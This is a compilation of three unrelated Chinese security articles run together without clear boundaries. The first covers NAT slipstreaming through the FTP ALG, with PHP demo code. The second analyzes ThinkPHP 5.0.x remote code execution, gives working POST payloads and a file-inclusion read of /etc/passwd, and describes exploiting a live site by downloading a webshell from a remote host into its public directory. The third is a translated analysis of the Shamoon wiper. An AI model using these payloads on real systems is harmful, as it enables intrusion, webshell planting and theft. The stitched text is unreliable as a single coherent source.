原文链接：<https://mp.weixin.qq.com/s/KPHU8D_bC_zjD5LmyDWL_g>**
## 0x00 前言
去年看了portswigger的top-10-web-hacking-techniques-of-2020-nominations-open文章，里面列举了2020年比较热门的技术，非常有意思，地址是（<https://portswigger.net/research/top-10-web-hacking-techniques-of-2020-nominations-open>）。在一系列前沿技巧中我看到了这篇（<https://samy.pl/slipstream/>）
NAT我知道，就是动态网络地址转换端口映射啥的嘛，防火墙隔绝内外网的基本功能之一。slipstreaming是什么玩意？
好屌啊，nat低压气穴，那我这么中二肯定要看看的。第一遍初看，没看懂，只知道从外网把受nat保护的内网端口给暴露出来了，第二遍第三遍也大概看懂了一个流程，没有深究，一直拖到现在重新研究。最近实在不知道干嘛了，前几天又和rr提了一嘴，那rr毕竟牛逼啊，经过rr的指点我可不得直接深入研究，于是有了下文。
## 0x01 知识背景
由于比较复杂，概念太多我自己也没有特别搞得懂，我这边先罗列几篇背景知识文章供读者先看看，就不在赘述了。nat
slipstream作者的官网：<https://samy.pl/slipstream/>
奇安信攻防社区也有发过简单介绍这块的文章：<https://forum.butian.net/share/88>
github上2009年的文章：<https://github.com/rtsisyk/linux-iptables-contrack-exploit>
主要模块nf_conntrack的扫盲贴：<https://clodfisher.github.io/2018/09/nf_conntrack/>
我知道很多人都不会看，所以我大概简单介绍一下好了。首先，在典型的防火墙iptables里有一个很常见的配置
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPTsudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
可以认为是放行input方向标记为ESTABLISHED状态的tcp链接，这种配置甚至在ubuntu官网都能找到（<https://help.ubuntu.com/community/IptablesHowTo>）
这也说明了这两条配置的常见性和广泛性，ESTABLISHED我们应该都能理解，就是tcp链接已经建立后的状态，已经建立完成的链接自然是可以从input方向进来的，这种链接常见于从内向外发起后的tcp链接。那么这里还有一个RELATED状态是什么呢？这个状态主要是给ALG类协议使用的，通常ALG类协议会有两个工作端口（典型如FTP），一个端口负责控制一个端口负责操作其他，而RELATED状态就是标记ALG类协议的两条TCP链接之间存在关联性，也就是说如果有一条TCP链接被标记为和另外一条相关联，那么他就可以从外部直接访问到内部。关于ALG的wiki解释如下：
下面还有一个比较详细的表来描述这个东西
关于利用ALG类协议在NAT上任意映射端口使外部发起的链接可以直接访问内部的端口，这一块的利用可以追溯到2010年之前，可以说是历史悠久。nat
slipstream的作者在最新的文章里利用的是SIP协议，当然在很多年前他也利用过FTP。这里简单叙述一下SIP的利用思路：
1. 找到支持SIP的防火墙环境
2. 通过投递恶意页面到内网，受害者打开恶意页面
3. 恶意页面的js对外发送post请求
4. 请求通过防火墙时候，由于MTU对包体进行了分片，post体中的一部分被防火墙识别成了SIP
5. 被识别成SIP协议后防火墙就会触发RELATED规则导致外部可以访问指定内部端口
## 0x02 FTP ALG
我不像作者那样利用SIP，因为我觉得不太好找支持SIP的（感觉），所以回到远古的FTP上来。为了了解iptables对FTP的检测逻辑，我翻了很多资料，就不展开讲了。直接给出答案即可。我们先来了解一下FTP的ALG支持的必须条件：
1. 需要有nf_conntrack模块
2. 需要有nf_conntrack_ftp模块
3. 需要配置input方向的related规则
nf_xxx是Linux内核模块，对链接的状态标记是由内核模块完成的，所以我们必须先知道系统有没有默认加载模块。比如下面是ubuntu20
可以看到已经把nf_conntrack_ftp默认去掉了，所以ftp的ALG默认是不支持的。而老一些Linux系统一般都会默认加载，比如
当然也不见得新的系统就一定不会有，要知道ubuntu20是桌面系统没有默认加载是正常的，而大部分防火墙不仅仅系统可能较老，而且出于功能性考虑肯定也会大概率加载，所以非常普遍可以认为基本都有。关于FTP的主动被动模式我就不介绍了，一点不了解的可以简单看看（<https://www.cnblogs.com/mawanglin2008/articles/3607767.html>）。了解这些前提后，我们来了解一下FTP的一般命令，这里主要看主动模式：
USER adminPASS adminPORT 127,0,0,1,0,22
一目了然不做过多介绍，这里主要看port这个命令，这个命令由客户端发出，通过防火墙后防火墙会记录下来，然后进行前面说的映射。这里我直接用奇安信社区的一篇文章的图来描述这个过程：
port指令前面四位是ip一看便知，后面两位其实是端口号的高位和低位，举个例子，比如端口号8848要获得其高低位，先转化成十六进制变为0x2290，然后获得高位0x22和低位0x90，再分别转成十进制最终得到34,144。这样如果我们要映射127.0.0.1上的8848就写成`PORT
127,0,0,1,34,144`即可。我知道这很麻烦，也不直观，所以我现在介绍一个和他等效的命令来代替他：
EPRT |1|127.0.0.1|8848|
这个可以认为作为payload是和port等效的即可。一目了然也便于反复修改做实验。
## 0x03 初步尝试
大概概念雏形有了，我们整理一下：
1. 寻找一种方法，从内部发送非加密TCP链接经过防火墙到外部
2. 防火墙匹配到关键命令后根据命令的内容生成相关映射
3. 从外部发起请求到防火墙上临时允许的端口上
当然这只是雏形，实际情况要比这个复杂很多，我们一步步来。第一步最容易想到的场景就是SSRF，还有投递恶意页面。这里我主要以SSRF作为先决条件，那么假设我有一个SSRF漏洞可以让我从内部发起请求到外部。接下来的核心问题就是防火墙的匹配逻辑和我的SSRF限制条件之间的场景磨合问题。如果防火墙的匹配规则比较弱智，那么我的SSRF限制条件越多对我来说场景越普遍，因为通常我们获得的SSRF可能就只有一个限定协议的GET请求。结合nf_conntrack_ftp的匹配逻辑的部分代码以及实验，我得出了几个隐藏的条件：
1. 必须保持发起的链接状态保持在ESTABLISHED，也就是链接保持住
2. 发起的请求必须被拆分成两次
3. 命令必须在TCP PAYLOAD的开头
4. PORT或者EPRT命令必须在非第一次请求里
5. 并不需要其他命令，但必须要有第一次请求体
6. 请求端口必须是21
什么叫一个链接里必须拆分成两次请求呢？我们都知道有个东西叫做长链接，多个http请求可以在一个tcp长链接里进行请求和响应，那么这里可以类比成这个，只不过不一定是http。更具体的说如下图：
两次包的tcp
flag的push位置必须置为1才算一次，两个push才算两次。这里也尝试过前面那个作者的tcp分片，尝试了对http报文使用tcp分片来达到分包效果，然而似乎防火墙并不吃这一套。
上图就是tcp分片的实验截图，并没有用，各位可以自己抓包看一下tcp分片的两个包第一个包并没有标记push所以两个分片被视为一个包。由于HTTP分包不能用，如果需要满足上面列举的几个条件在常见的SSRF协议里几乎很难做到。我分别尝试了以下几个方案：
1. gopher：不可行，gopher虽然以tcp形式构造任意payload但是不能保持链接，更不能一个链接里发送两次push，更多细节就不赘述了太复杂
2. 30x条转：更不可行，无论是http的还是其他协议都尝试畸形30x跳转，然而实际情况是30x跳转是以关闭当前链接，创造新的链接的方式进行的，就算是满足了同一个链接也控制不了payload使得其中一个以PORT开头，要知道http的协议开头都是GET和POST等
3. pipeline：没有场景，正向pipeline是可以的，但是由内而外的pipeline几乎不可能存在
4. http走私：暂时没想出来可行性，感觉可以但是实际上应该是不行，因为防火墙识别报体的push次数和http的长度、trunk这些不一样
## 0x04 柳暗花明
在瞎几把尝试的时候，我使用了一个命令来模拟http发包：
curl -X POST -T x.txt http://xxx.xxx.xxx.xxx:21
结果居然成功了，一开始我以为是分片成功了，后来仔细看抓包感觉不太对劲
（这个截图我没有用分片所以没有看到分片的包）注意看划线的部分，可以看到一个post被拆分成两个请求报体，我们看一下是不是push位置都是1
确实都是1，太神奇了，这是怎么回事呢？我仔细看了看报文，发现post请求头里有这个
Expect: 100-continue
这是什么？百度一下（<https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/100>）
意思就是客户端先发出头部体暂时不发送post body，头部里加入Expect，如果服务器响应说我现在准备好接受post
body了，然后客户端再单独发送post
body。这就直接造成了两次push在一次tcp链接里！完美契合我们的需求！希望有了，可是问题又来了，哪个服务端在实现SSRF的时候会使用
curl -X POST -T x.txt http://xxx.xxx.xxx.xxx:21
这样的形式来发送呢？怕是脑残才会这样写吧。那这玩意真的就没有地方用吗？答案是有的！远在天边，近在眼前！我们看一下php的curl的实现，搜一搜找到下面的线索：<https://gist.github.com/perusio/1724301>
什么？php的curl在发送post体超过1024个字节的时候会使用expect？？？？？我爱php！马上验证尝试，结果是自然的，有一说一，确实是这样的。那么我们开始构造一个满足要求的post体：
1. body大于1024个字节
2. 以命令开头
3. 加入一些小细节能被防火墙正确识别 直接给出php的demo
<?phpfor ($i=0; $i < 1; $i++) {echo "$i";request("http://172.28.64.142:21");}function request($url){ $requestData = "EPRT |1|172.28.64.19|8848|\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $requestData); $data = curl_exec($ch); curl_close($ch);}?>
好了，现在我们能发出被防火墙识别到触发映射规则的http报文了。
## 0x05 实验观察
这里我建议先准备两个虚拟机，一台模拟外网主机，一台模拟内部主机，然后在内部主机上配上防火墙策略
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPTsudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPTsudo iptables -P INPUT DROP
然后我们在内网的主机里执行前面的php文件模拟对外发包，发包到我们的外网服务端上（外部服务端要怎么写我就不放出来了，有一些小细节留给大家自己写吧）。在发包之前，我们可以在内网的主机上监听任意一个端口
nc -l 0.0.0.0:10000
接着在外网的主机上尝试去直接链接
nc -vv xxxxx 10000
会发现怎么都连不上，连不上才是正常的。接着开启发包，发送一个post请求，接着再次在外部主机上尝试链接，会发现连接成功！
这里有个细节就是一次连接成功后断开再次尝试的时候会发现又连不上了，这才是正常的。一个发包只能映射一次。
## 0x06 拓展攻击面
前面只是演示了一个可能的场景，但其实还可以延伸出其他可能的场景。比如：
1. 恶意页面这块也可以再尝试一下，部分资料显示有些浏览器在特定情况下也会拆分请求，另外用户在内部浏览页面的话走的pipeline，可能利用这一点也能达成目的
2. 服务端的websocket服务，如果会把我的请求放在响应当中，可能可以构造命令激活防火墙，我可以把我的发起端口改成21端口，如果防火墙在判断的时候不计较发起方向的话？
3. 反序列化的时候，类似的发出一个可控ssrf或者是打出一个tcp链接到外部恶意服务器比如jdbc？
4. 有限getshell的情况下可以自己来触发映射，比如直接对外请求或者shell里直接打命令通过shell传输显示来触发映射等等，如果你的内网限制跳板，那么通过触发花式nat映射，可能可以将外网作为跳板访问当你本来访问不到的服务器
5. 不仅仅是外网的nat，内网的多个nat，也可以尝试花式触发
6. 其他ALG协议也有潜在的能力 有人会问，我都有SSRF了我直接打内网不就好了，我映射个啥劲？我只能说，想象力局限了，至于差别在哪里，各位可以自己在深入理解一下。
## 0x07 如何防御
其实我觉得不太好防御，最暴力的方式就是直接干掉related状态，一般情况下是用不到的，尤其是在一些比较严格的网络环境下自然是用不到的。用到的地方通常是比较随意的、便利为主的网络环境，所以在配置这个状态规则时还是要分清楚实际场景需要，而不是抄文档。另外下面是我找到的关于这一块的安全加固的文章，也可以参考一下
<https://home.regit.org/netfilter-en/secure-use-of-helpers/>
## 0x08 写在最后
由于涉及到的知识太多，我直接压缩了很多内容的描述，也压缩了很多细节的推到，我觉得大家真的有兴趣最好自己试一下体会一下，多用wireshark抓包观察一下。这篇文章不是终点，只是一个起点，nat
slipstream也只是个起点，贴合实际泛化后，我相信会有更多的潜在场景被挖掘出来。有兴趣一起研究一起学习的小伙伴可以加入我的知识星球，我会在知识星球里发更多细节以及其他有趣的文章，公众号的文章只是冰山一角。
* * * | 社区文章 |
# ThinkPHP5.0.x RCE分析与利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ThinkPHP 5.0.x (<=5.0.23) RCE分析
### 漏洞原理分析
为了分析`5.0.23`之前所存在的安全问题，不妨在Github上查看`5.0.23`和`5.0.24`发行的 **Change.log**
可以看到Request类中对method方法进行了改进，而Request类是ThinkPHP中处理请求的文件，因此使用Beyond
Compare对5.0.23和5.0.24进行比较发现：
可以看到，在`5.0.24`中对`$this->method`新增了白名单过滤，只允许`$this->method`为常用的几个方法，否则就将其置为`POST`方法，因此我们的入口点就可以从`Request.php`跟进。
全局搜索`call_user_func`，在`Request.php`中发现在`filterValue`方法中
`/thinkphp/library/think/Request.php`
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
}
将该方法的第三个参数(array)取出键值作为`call_user_func`的方法，并且将第一个参数`$value`作为回调函数的参数传入，最后将回调函数的返回重新赋值给`$value`
现在全局搜索，哪些方法调用了该`filterValue`方法
`/thinkphp/library/think/Request.php`中存在`input`方法，其中调用`filterValue`方法
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据，返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
发现无论`$data`是不是数组最终都会调用`filterValue`方法，而`$filter`则会进行过滤器解析，跟进`$this->getFilter`方法查看解析过程:
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
可以看到如果`$filter`不存在时，将`$filter`赋值为`$this->filter`,最后将`$filter[]`赋值为`null`，注意此时并不是将`$filter[]`数组全部清空，只是使得`$filter[n+1]=null`，即在数组的最后一个键名新增一个连续的键名，键值为null
回到`input`方法中，`array_walk_recursive`函数会对第一个数组参数中的每个元素应用第二个参数的函数。在`input`类方法中，`$data`中键名作为`filterValue(&$value,
$key,
$filters)`中的value,键值作为key,filter作为第三个参数$filters,而当这些传入到`filterValue`后，`call_user_func`又是利用`filter`作为回调的函数，`value`作为回调函数的参数，因此也就是`input`方法中的`data`是回调函数的参数，`filter`是需要回调的函数。
了解之后我们需要查找`input`方法在何处被调用，全局搜索一下：
同文件`param`方法最后调用该方法并作为返回：
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
`$this->param`为当前请求参数和URL地址中的参数合并，是可控值，也就是把请求参数和路由参数以及当前方法参数进行合并，此时我们有了回调函数的参数，还缺少`$filter`，因此我们还要设法控制`Request`类的`$this->filter`
分析到这里，我们在文章开头所说的对于`Request`的改进却并没有用上，此时不妨移步到`method()`方法，前文说到在更新版本后对`method`增加了白名单，我们不妨看看此方法。
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
可以看到，当`$method`是`false`时，`$this->method =
strtoupper($_POST[Config::get('var_method')])`，这是否是我们可控的参数，回到TP的系统配置文件上，
可以知道，`Config::get('var_method')=='_method'`，意味着POST上传`_method`的值，是可以在`Request`类中进行的方法，即可以任意调用该类中存在的任何方法。
此时`__construct()`这个神奇的构造方法起到了奇效。
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
此处存在任意属性赋值，意味着可以将`Reqeust`类中的属性的值通过POST来任意改变，前文不是需要控制回调方法的回调函数，即`$this->filter`吗？在这里就可以通过构造函数直接赋值，即`_method=__construct&filter[]=system`，有了这些之后，我们只需要回调函数的参数，回到上述分析的`param`方法中，
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
作为`$data`传入`input`方法，跟进`$this->get`
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
$this->mergeParam = false;
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}
如果`$this->get`为空，直接将其赋值为`$_GET`,而最后将`$this->get`作为`input`方法的第一个参数，因此我们可以听过变量覆盖，直接将`$this->get`赋值，就此我们控制了回调函数和参数。
即`_method=__construct&filter[]=system&get[]=whoami`或者`_method=__construct&filter[]=system&route[]=whoami`
上面只是漏洞产生原理的分析，我们还需要了解怎么调用的`Request`类的`method`方法以及`param`方法，全局搜索一下发现
`thinkphp/library/think/Route.php`
`$request->method()`没有任何参数，选取默认参数为`false`，符合上述的逻辑链，因此在全局搜索`$check`的上层利用链
`thinkphp/library/think/APP.app`中
该语句包含在`if($check)`条件下，只有`$check==true`时，才会进入执行该语句，可以看到路由检测中，如果`self::$routeCheck`为空，则会将`$condig['url_route_on']`赋值给`$check`，而在配置文件中该值默认为==true==。
当我们跟随入口文件`index.php`时会发现，一定会调用`APP:run()`,该类为应用程序启动类，调用该方法执行应用，跟进
当`$dispatch`为空时，调用`routeCheck`方法，跟进`Hook::listen('app_dispatch',self::$dispatch)`发现：
没有涉及`$dispatch`，因此`self::$dispatch`为空，这样最终能够能够调用`$request->method()`方法，接下来是`Request`对象`param`方法的触发流程:
全局搜索`param`方法发现该如下几处调用了`Reqeust::method()`
`APP::run()`
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
可知如果开了调试模式的话，在启动执行应用程序时会自动调用`$request->param()`方法。因此当开启调式模式时，我们的分析利用链到此时已经结束，可以构造相应`payload`
POST:_method=__construct&filter[]=system&get[]=whoami or _method=__construct&filter[]=system&route[]=whoami
如果关闭了调试状态（通常情况下也会关闭调试状态），则需要搜索其他利用链
`APP::exec()`
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
当`$dispatch['type']==method或者$dispatch['type']==controller`时，会调用`param()`方法，而在`APP::run`中调用了
**exec** 方法，所以我们只需要控制调度信息`$dispatch`的值
`APP:run()`中跟进`routeCheck()`方法：
路由有效时跟进`Route::check()`方法：
当我们需要 **$dispatch[‘type’]** 等于 **controller** 或者 **method**
时，最终跟进到`Route::parseRule`方法
当路由执行为 **路由到方法** 或者 **路由到控制器** 时都能使得`$result['type']`满足，即最后
**$dispatch[‘type’]** 等于 **controller** 或者 **method** 而调用`param`方法。
ThinkPHP路由地址表示定义的路由表达式最终需要路由到的地址以及一些需要的额外参数，支持下面5种方式定义：
定义方式 | 定义格式
---|---
方式1：路由到模块/控制器 | ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2：路由到重定向地址 | ‘外部地址’（默认301重定向） 或者 [‘外部地址’,’重定向代码’]
方式3：路由到控制器的方法 | ‘@[模块/控制器/]操作’
方式4：路由到类的方法 | ‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’
方式5：路由到闭包函数 | 闭包函数定义（支持参数传入）
而路由到控制器还是到方法等是取决于`$route`，因此还需分析`$route`取值，在`checkRoute`的构造方法中：
因此分析`checkRoute`的上层利用链，在`Route::check()`方法中发现：
该`$method`可以通过变量覆盖将其改变，因此需要寻找注册`$method`值的路由，ThinkPHP5
中自带的验证码组件captcha注册了一个`get`路由规则，路由到类的方法，满足case条件。这里可以知道`method=get`是为了正确获取captcha的路由规则。
因此可以构造相应 **payload**
POST /index.php?s=captcha&_method=__construct&method=get&filter[]=system&get[]=ipconfig
## 任意文件包含
根据以上分析，在该版本`ThinkPHP`中还存在任意文件包含，在`thinkphp\library\think\Loader.php`中存在`__include_file`方法：
namespace think;
...
function __include_file($file)
{
return include $file;
}
可以通过回调函数`call_user_func`调用`think\__include_file`，可以构造相应payload
POST /index.php?s=captcha
_method=__construct&method=GET&filter[]=think\__include_file&server[REQUEST_METHOD]==/etc/passwd
注意调用该方法时会进入`Request.php`中的`param`方法：
`method`方法本来是`false`默认参数，现在参数为`true`，我们跟进看一下其逻辑:
直接进入第一个`if`语句中，调用关键方法`server()`，在不妨跟进:
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
上文已分析过，`$this->input()`第一个参数，即使回调函数的参数，因此`$this->server`将是我们想要执行方法的参数，此处我们执行的`think\__include_file`方法，因此我们要改变`$this->server`的值，由于`$server`为`Request`类的属性，根据上文变量覆盖利用，我们利用变量覆盖使得`$_SERVER[REQUEST_METHOD]`为参数，这样就能利用`include`进行任意文件包含。
## 实际利用
发现某站部署`Thinkphp v5`系统，并且在系统配置中是默认配置的`debug`模式：
在`debug`状态下，我们知道网站的绝对路径，并且`ThinkPHP`版本号为`V5.0.x`，由于开启`debug`状态，构造相应`payload`进行探测
POST:_method=__construct&filter[]=system&get[]=whoami
发现 **php** 配置文件中应该设置了`disabled_function`:
我们知道在`phpinfo()`中即使加入参数，也不影响其执行，因此`call_user_func('phpinfo()','1')`同样能够执行
先看一波`phpinfo`看看禁用哪些函数,发现还设置了`open_basedir`
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
把最为常用的函数禁用了，当该PHP版本低于 **7.2**
,因此`assert`这个关键的函数并没有过滤，也就意味着我们能先使用`assert`来做一些操作，本来是直接构造
POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);
然后用`antsword`连上就好，但是发现并不能成功连接，原因可能是`antsword`和菜刀仅支持`eval`后门，可能现在就需要换一换思路:
在默认配置中，`file_get_contents`可以读取 **URL**
内容并进行输出，并且`file_get_contents`是不会被ban的，这里先验证一下:
POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);&1=print(file_get_contents("./index.php"));
因此直接结合网站绝对路径，我们知道在`public`是面向用户的，我们可以利用`file_get_contents`读取马后使用`file_put_contents`写入到`public`目录下，这样就能够一句话进行连接
_method=__construct&filter[]=assert&get[]=$a=(file_get_contents("http://马的地址"));$b=file_put_contents('网站根目录/public/xxx.php',$a);
最终`getshell`
可见如果目前还在使用`Thinkphp5.0`版本是十分危险的，应该及时更新版本或者相应打上补丁 | 社区文章 |
### 前言
近些年以来，黑客攻击者多次使用具有破坏性的恶意软件对系统进行攻击。而这些攻击通常伴随某些针对性，其常常会被意识形态、政治目标甚至财务目标来影响。
这些具有破坏性的攻击由于会导致数据丢失或业务运营，所以对企业影响甚大。而若要恢复这些攻击造成的影响则要数周或数月，同时在修复过程中可能会造成企业利润已经声誉的下降。
最近的一些攻击已经表明了攻击的伤害性有多大。去年，NotPetya攻击行为影响了全球多家公司。
去年2月，研究人员也发现了影响奥运会的`OlympicDestroyer`恶意攻击。
`Shamoon`是McAfee公司一直进行监控的具有破坏性恶意软件。 本月初，McAfee
Foundstone紧急事件响应团队对客户的被入侵行为做出了迅速反应并确定了攻击来自最新版本的恶意软件，也昭示了一波攻击浪潮的来袭。Shamoon于2012年袭击了中东的石油和天然气公司，并于2016年再次对相关行业进行攻击。这种威胁对企业来说影响巨大，我们建议采取适当的措施来保护相关组织。
在过去的一周里，我们观察到一个新型的恶意手段攻击了几个部门，包括中东和南欧的石油，天然气，能源，电信和政府组织。
与之前的浪潮事件类似，`Shamoon`第3版使用几种机制作为规避技术来绕过安全，用以避免防御软件的分析。然而它的整体代码与以前的版本保持一致，这也使大多数反恶意软件引擎的检测变得简单。
与以前的版本一样，Shamoon版本3安装了wiper组件的恶意服务。
一旦wiper运行，它会用垃圾内容覆盖所有文件并使系统重启，导致“蓝屏死机”或驱动程序错误的情况并使系统无法运行。
恶意软件还可以扫描本地网络，然而这个操作并没有被进一步利用。此版本的恶意软件有一些错误，表明此版本可能是测试阶段或测试阶段。
此版本与早期版本的主要区别在于最新的软件修改了“用于删除恶意文件的名称列表”以及将伪造的服务名称修改为“MaintenaceSrv”。wiper组件为使用以下选项定位系统上的所有文件进行了相关设置：
* 用垃圾数据覆盖文件（在此版本和我们分析样本的相同）
* 用文件覆盖（在Shamoon版本1和2中使用）
* 加密文件和引导记录（此版本中未使用）
Shamoon是一种模块化恶意软件：wiper组件可以作为独立文件进行重用，此威胁也具有很高风险。该文章介绍了我们的研究结果，包括详细的分析和IOCs。
### 分析详情
Shamoon是一种包括三种功能的注入工具。注入前期需要收集相关设备信息并将恶意代码嵌入设备中，之后进行混淆，反调试的过程。而在运行此工具前，我们需要添加一个参数。
它会解密三个源码并将它们安装在`％System％`文件夹中。 之后创建用于运行wiper的服务--`MaintenaceSrv`。
服务名称中的拼写错误可以简化检测过程。
威胁研究团队在研究过程中也发现了这个工具多年来的发展情况，下面是各个版本的差别：
wiper使用`ElRawDisk.sys`访问用户的磁盘并覆盖所有文件夹和磁盘扇区中的数据，从而在重启系统之前感染计算机。
结果是蓝屏或驱动程序错误导致机器无法使用。
### 注入工具的可执行摘要
dropper包含许多恶意组件，这些组件使用嵌入在PE部分中的加密文件来进行隐藏。
这些资源由dropper工具解密，包含：
* MNU：通信模块
* LNG：wiper核心组件
* PIC：64位版本的注入器
`Shamoon 2018`需要一个参数来运行攻击模块。 它解密内存中的几个字符串用于收集系统上的信息并确定是32位还是64位版本。
他会将`key8854321.pub (MD5:
41f8cd9ac3fb6b1771177e5770537518)`文件放在`c:\Windows\Temp\key8854321.pub.`中。
之后恶意软件会解密两个用户文件：
* C:\Windows\inf\mdmnis5tQ1.pnf
* C:\Windows\inf\averbh_noav.pnf
Shamoon启用`RemoteRegistry服务`，并允许程序远程修改注册表。
它还通过启用注册表项`LocalAccountTokenFilterPolicy`来禁用远程用户帐户控制。
